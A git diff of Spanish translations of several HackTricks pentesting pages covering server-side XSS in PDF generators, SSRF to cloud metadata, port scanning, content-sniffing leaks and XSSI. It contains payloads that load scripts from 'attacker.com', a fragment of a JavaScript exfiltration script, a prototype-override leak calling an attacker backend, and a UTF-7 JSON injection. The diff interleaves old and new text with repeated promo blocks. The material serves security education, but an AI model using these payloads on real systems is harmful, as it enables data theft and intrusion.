Puedes encontrar muchos **otros payloads SVG** en [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Divulgación de ruta
### Divulgación de rutas
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
@ -84,7 +84,7 @@ if not, you will at least have wich path the bot is accessing -->
```
### Cargar un script externo
La mejor forma de aprovechar esta vulnerabilidad es abusar de ella para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar el payload localmente y hacer que el bot lo cargue con el mismo código cada vez.
La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar la carga útil localmente y hacer que el bot la cargue con el mismo código cada vez.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -94,7 +94,7 @@ La mejor forma de aprovechar esta vulnerabilidad es abusar de ella para hacer qu
{% hint style="warning" %}
Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**.
Si se permite SSRF, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles bypass](../ssrf-server-side-request-forgery/url-format-bypass.md).
Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles elusiones](../ssrf-server-side-request-forgery/url-format-bypass.md).
{% endhint %}
```markup
<script>
@ -142,7 +142,7 @@ time += 500;
</script>
<img src="https://attacker.com/delay">
```
### Escaneo de puertos
### Escaneo de Puertos
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
@ -161,13 +161,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/)
Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que intenta explotarla (¿leer algunos metadatos?).
Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que solo intenta explotarla (¿leer algunos metadatos?).
### Archivos adjuntos: PD4ML
### Attachments: PD4ML
Existen algunos motores de HTML a PDF que permiten **especificar archivos adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta característica para **adjuntar cualquier archivo local** al PDF.\
Para abrir el archivo adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo de clip** para **guardar el archivo adjunto** como un nuevo archivo.\
Capturando la **respuesta en PDF** con Burp también debería **mostrar el archivo adjunto en texto claro** dentro del PDF.
Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\
Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo del clip** para **guardar el adjunto** como un nuevo archivo.\
Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
{% code overflow="wrap" %}
```html
@ -183,16 +183,17 @@ Capturando la **respuesta en PDF** con Burp también debería **mostrar el archi
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,31 +1,34 @@
# Shadow DOM
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
**Echa un vistazo a este blog: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** y a este **desafío CTF: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Consulta este blog: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** y este **desafío CTF: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,23 +1,39 @@
# Fuga de Información
# Sniff Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Contenido del script de fuga al convertirlo a UTF16
## Filtrar el contenido del script convirtiéndolo a UTF16
[**Este informe**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) filtra un texto/plano porque no hay encabezado `X-Content-Type-Options: nosniff` añadiendo algunos caracteres iniciales que harán que JavaScript piense que el contenido está en UTF-16 para que el script no se rompa.
[**Este informe**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) filtra un text/plain porque no hay un encabezado `X-Content-Type-Options: nosniff` al agregar algunos caracteres iniciales que harán que javascript piense que el contenido está en UTF-16, por lo que el script no se rompe.
## Contenido del script de fuga al tratarlo como un ICO
## Filtrar el contenido del script tratándolo como un ICO
[**El siguiente informe**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) filtra el contenido del script cargándolo como si fuera una imagen ICO accediendo al parámetro `width`.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -118,16 +119,17 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,50 +1,51 @@
# XSSI (Inclusión de Script de Sitio Cruzado)
# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
## Basic Information
**La Inclusión de Script de Sitio Cruzado (XSSI)** es una vulnerabilidad que surge de la naturaleza de la etiqueta `script` en HTML. A diferencia de la mayoría de los recursos, que están sujetos a la **Política de la Misma Origen (SOP)**, los scripts pueden ser incluidos desde diferentes dominios. Este comportamiento está destinado a facilitar el uso de bibliotecas y otros recursos alojados en servidores diferentes, pero también introduce un riesgo de seguridad potencial.
**Cross-Site Script Inclusion (XSSI)** es una vulnerabilidad que surge de la naturaleza de la etiqueta `script` en HTML. A diferencia de la mayoría de los recursos, que están sujetos a la **Same-Origin Policy (SOP)**, los scripts pueden ser incluidos desde diferentes dominios. Este comportamiento está destinado a facilitar el uso de bibliotecas y otros recursos alojados en diferentes servidores, pero también introduce un riesgo potencial de seguridad.
### Características Clave de **XSSI**:
- **Bypass de SOP**: Los scripts están exentos de la **Política de la Misma Origen**, lo que les permite ser incluidos en diferentes dominios.
- **Exposición de Datos**: Un atacante puede explotar este comportamiento para leer datos cargados a través de la etiqueta `script`.
- **Impacto en JavaScript Dinámico/JSONP**: **XSSI** es particularmente relevante para JavaScript dinámico o **JSON con Padding (JSONP)**. Estas tecnologías a menudo utilizan información de "autoridad ambiental" (como cookies) para la autenticación. Cuando se realiza una solicitud de script a un host diferente, estas credenciales (por ejemplo, cookies) se incluyen automáticamente en la solicitud.
- **Fuga de Token de Autenticación**: Si un atacante puede engañar al navegador de un usuario para que solicite un script desde un servidor que controlan, podrían acceder a información sensible contenida en estas solicitudes.
### Key Characteristics of **XSSI**:
- **Bypass of SOP**: Los scripts están exentos de la **Same-Origin Policy**, lo que les permite ser incluidos entre dominios.
- **Data Exposure**: Un atacante puede explotar este comportamiento para leer datos cargados a través de la etiqueta `script`.
- **Impact on Dynamic JavaScript/JSONP**: **XSSI** es particularmente relevante para JavaScript dinámico o **JSON with Padding (JSONP)**. Estas tecnologías a menudo utilizan información de "autoridad ambiental" (como cookies) para la autenticación. Cuando se realiza una solicitud de script a un host diferente, estas credenciales (por ejemplo, cookies) se incluyen automáticamente en la solicitud.
- **Authentication Token Leakage**: Si un atacante puede engañar al navegador de un usuario para que solicite un script de un servidor que controla, podría acceder a información sensible contenida en estas solicitudes.
### Tipos
### Types
1. **JavaScript Estático** - Representa la forma convencional de XSSI.
2. **JavaScript Estático con Autenticación** - Este tipo es distinto porque requiere autenticación para acceder.
3. **JavaScript Dinámico** - Involucra JavaScript que genera contenido dinámicamente.
4. **No-JavaScript** - Se refiere a vulnerabilidades que no involucran JavaScript directamente.
1. **Static JavaScript** - Esta representa la forma convencional de XSSI.
2. **Static JavaScript with Authentication** - Este tipo es distinto porque requiere autenticación para acceder.
3. **Dynamic JavaScript** - Involucra JavaScript que genera contenido dinámicamente.
4. **Non-JavaScript** - Se refiere a vulnerabilidades que no involucran JavaScript directamente.
**La siguiente información es un resumen de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Consulta para más detalles.
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
### XSSI Regular
En este enfoque, la información privada se incrusta dentro de un archivo JavaScript de acceso global. Los atacantes pueden identificar estos archivos utilizando métodos como lectura de archivos, búsquedas de palabras clave o expresiones regulares. Una vez localizado, el script que contiene información privada puede ser incluido en contenido malicioso, permitiendo el acceso no autorizado a datos sensibles. A continuación se muestra una técnica de explotación de ejemplo:
### Regular XSSI
En este enfoque, la información privada está incrustada dentro de un archivo JavaScript accesible globalmente. Los atacantes pueden identificar estos archivos utilizando métodos como lectura de archivos, búsquedas de palabras clave o expresiones regulares. Una vez localizados, el script que contiene información privada puede ser incluido en contenido malicioso, permitiendo el acceso no autorizado a datos sensibles. A continuación se muestra una técnica de explotación de ejemplo:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### XSSI basado en JavaScript dinámico y XSSI autenticado en JavaScript
Estos tipos de ataques XSSI implican que la información confidencial se añade dinámicamente al script en respuesta a la solicitud de un usuario. La detección se puede realizar enviando solicitudes con y sin cookies y comparando las respuestas. Si la información difiere, puede indicar la presencia de información confidencial. Este proceso se puede automatizar utilizando herramientas como la extensión de Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
### Dynamic-JavaScript-based-XSSI y Authenticated-JavaScript-XSSI
Estos tipos de ataques XSSI implican que información confidencial se añade dinámicamente al script en respuesta a la solicitud de un usuario. La detección se puede realizar enviando solicitudes con y sin cookies y comparando las respuestas. Si la información difiere, puede indicar la presencia de información confidencial. Este proceso se puede automatizar utilizando herramientas como la extensión de Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Si los datos confidenciales se almacenan en una variable global, se pueden explotar utilizando métodos similares a los utilizados en XSSI Regular. Sin embargo, si los datos confidenciales se incluyen en una respuesta JSONP, los atacantes pueden secuestrar la función de devolución de llamada para recuperar la información. Esto se puede hacer manipulando objetos globales o configurando una función para que sea ejecutada por la respuesta JSONP, como se muestra a continuación:
Si los datos confidenciales se almacenan en una variable global, se pueden explotar utilizando métodos similares a los utilizados en XSSI Regular. Sin embargo, si los datos confidenciales se incluyen en una respuesta JSONP, los atacantes pueden secuestrar la función de callback para recuperar la información. Esto se puede hacer manipulando objetos globales o configurando una función para ser ejecutada por la respuesta JSONP, como se demuestra a continuación:
```html
<script>
var angular = function () { return 1; };
@ -64,15 +65,17 @@ alert(JSON.stringify(leaked));
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Para variables que no residen en el espacio de nombres global, a veces se puede explotar la *manipulación de prototipos*. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al sobrescribir ciertas funciones, como `slice` de `Array`, los atacantes pueden acceder y filtrar variables no globales:
Para variables que no residen en el espacio de nombres global, *prototype tampering* a veces puede ser explotado. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al anular ciertas funciones, como `Array`'s `slice`, los atacantes pueden acceder y leak variables no globales:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
### No-Script-XSSI
La investigación de Takeshi Terada introduce otra forma de XSSI, donde archivos No-Script, como CSV, se filtran entre orígenes al incluirse como fuentes en una etiqueta `script`. Instancias históricas de XSSI, como el ataque de 2006 de Jeremiah Grossman para leer un libro de direcciones completo de Google y la filtración de datos JSON de Joe Walker en 2007, resaltan la gravedad de estas amenazas. Además, Gareth Heyes describe una variante de ataque que implica JSON codificado en UTF-7 para escapar del formato JSON y ejecutar scripts, efectivo en ciertos navegadores:
Más detalles sobre los vectores de ataque se pueden encontrar en el trabajo del investigador de seguridad [Sebastian Lekies](https://twitter.com/slekies), quien mantiene una lista de [vectores](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
La investigación de Takeshi Terada introduce otra forma de XSSI, donde archivos Non-Script, como CSV, son filtrados entre orígenes al ser incluidos como fuentes en una etiqueta `script`. Instancias históricas de XSSI, como el ataque de Jeremiah Grossman en 2006 para leer una libreta de direcciones completa de Google y la filtración de datos JSON de Joe Walker en 2007, destacan la gravedad de estas amenazas. Además, Gareth Heyes describe una variante de ataque que involucra JSON codificado en UTF-7 para escapar del formato JSON y ejecutar scripts, efectiva en ciertos navegadores:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
@ -80,16 +83,17 @@ La investigación de Takeshi Terada introduce otra forma de XSSI, donde archivos
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
